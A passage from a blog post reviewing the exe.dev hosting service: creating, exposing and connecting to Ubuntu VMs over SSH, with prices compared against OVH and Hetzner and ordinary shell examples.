seconds.</em></p><p><em>Except it&#8217;s a fully functional Ubuntu image, connected to the web with an HTTPS server and disk persistence, and you are root.</em></p><p><em>Claude and I love this.</em></p><p><em><strong>This is not sponsored content. There is NO sponsored content on this blog.</strong></em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Quick. Dirty. And online.</strong></h2><p>Before LLM, I had plenty of projects I started but never finished. Now, thanks to Claude code, I have plenty of buggy proof of concepts!</p><p>And of course, I need to put them online.</p><p>My go-to tool for that used to be to get a VPS on <a href="https://www.ovh.com/">OVH</a> or <a href="https://www.hetzner.com/">Hetzner</a>, two amazing European providers. They are flexible, cheap, you get full control of the OS, SSH access, and unmettered bandwith.</p><p>But I usually had to set up several services in one server to make them worth the time to order them, and of course, our darling AI is quite good at deploying once on a virgin pristine server, but on one with a lot of running stuff, it&#8217;s kinda playing with your luck.</p><p>Plus, it&#8217;s slow to have to define the partitions, wait for the server to arrive, reinstall and configure nginx, deploy SSL, ensure separation of users, install the ssh key...</p><p>But there&#8217;s a new player in town: <a href="https://exe.dev/">exe.dev</a>.</p><p>It&#8217;s my new provider for half-assed projects cemetery.</p><h2><strong>It&#8217;s just ssh</strong></h2><p>The UI for exe.dev is mainly the terminal. In fact, you start by sshing into their server (yep, try it!):</p><pre><code><code>ssh exe.dev</code></code></pre><p>And you get right into the registration process. It&#8217;s quick and nerdy, and once you are done, you are ready to host your first project.</p><p>You get to choose between various offers, and they are not nearly as cheap as a VPS. In fact, compared to my usual VPS, they are quite expensive:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mWIb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mWIb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 424w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 848w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 1272w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mWIb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png" width="847" height="570" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:570,&quot;width&quot;:847,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:69248,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mWIb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 424w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 848w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 1272w, https://substackcdn.com/image/fetch/$s_!mWIb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563762f4-56a4-4895-b048-c2c57e79f6b7_847x570.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But the point here is the convenience: you get a mix between a full server access, on-demand VM, and pre-configured hosting (like Heroku), all in one.</p><p>Let me explain.</p><p>I have the first offer, so I get a small server with:</p><ul><li><p>2 CPUs</p></li><li><p>8GB RAM</p></li><li><p>25GB disk+</p></li><li><p>100GB data transfer+</p></li></ul><p>Nothing crazy. Actually, small specs for 2026. The OVH offers are much better:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T2rP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T2rP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 424w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 848w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 1272w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!T2rP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png" width="1338" height="655" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:655,&quot;width&quot;:1338,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:122480,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!T2rP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 424w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 848w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 1272w, https://substackcdn.com/image/fetch/$s_!T2rP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3e5481c-9d0e-434d-9105-358c88256dd8_1338x655.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But it can be divided into 25 VMs. And this is where it&#8217;s becoming very interesting.</p><p>Every time I want to put a prototype online, I can just:</p><pre><code><code>ssh exe.dev -i .ssh/my_exe_dev_key.pub</code></code></pre><p>Then I&#8217;ll get a shell where I can manipulate all the VMs:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zmme!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zmme!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 424w, https://substackcdn.com/image/fetch/$s_!zmme!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 848w, https://substackcdn.com/image/fetch/$s_!zmme!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 1272w, https://substackcdn.com/image/fetch/$s_!zmme!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zmme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png" width="900" height="760" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:760,&quot;width&quot;:900,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135942,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zmme!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 424w, https://substackcdn.com/image/fetch/$s_!zmme!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 848w, https://substackcdn.com/image/fetch/$s_!zmme!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 1272w, https://substackcdn.com/image/fetch/$s_!zmme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbabaa72-4ba3-42db-9201-96facc93dc1b_900x760.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Add a new one, decommission one, and expose one publicly to the web. It&#8217;s all instant, one command away.</p><p>Creating a new, fresh, Ubuntu VM:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xdnA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xdnA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 424w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 848w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 1272w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xdnA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png" width="664" height="287" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:287,&quot;width&quot;:664,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27804,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xdnA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 424w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 848w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 1272w, https://substackcdn.com/image/fetch/$s_!xdnA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4b45844-cfc9-461d-b7b9-8569bbe57e3f_664x287.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Done, 3 seconds.</p><p>Exposing it online:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nh8J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nh8J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 424w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 848w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 1272w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nh8J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png" width="664" height="119" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:119,&quot;width&quot;:664,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12368,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nh8J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 424w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 848w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 1272w, https://substackcdn.com/image/fetch/$s_!nh8J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc6b643a-397d-48e1-ba65-de91361cafc0_664x119.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Done, port 443 from outside is now mapped to localhost:8000, with https and a nice automatically generated SSL cert.</p><p>Connecting to the VM is just regular ssh:</p><pre><code><code>&#10095; ssh maple-dune.exe.xyz -i .ssh/my_exe_dev_key.pub

You are on maple-dune.exe.xyz. The disk is persistent. You have 'sudo'.

For support and documentation, "ssh exe.dev" or visit https://exe.dev/

Docker is installed and works; try "docker run --rm alpine:latest echo hello world"</code></code></pre><p>That&#8217;s it. I want to serve a Django site? Install Redis? Make a crawler? Setup a cron that regularly makes an API call? I got it all there.</p><p>You can <code>scp</code>, <code>apt</code> and<code> vi </code>to your heart&#8217;s content.</p><p>Experiment done?</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Uvh-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Uvh-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 424w, https://substackcdn.com/image/fetch/$s_!Uvh-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 848w, https://substackcdn.com/image/fetch/$s_!Uvh-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 1272w, 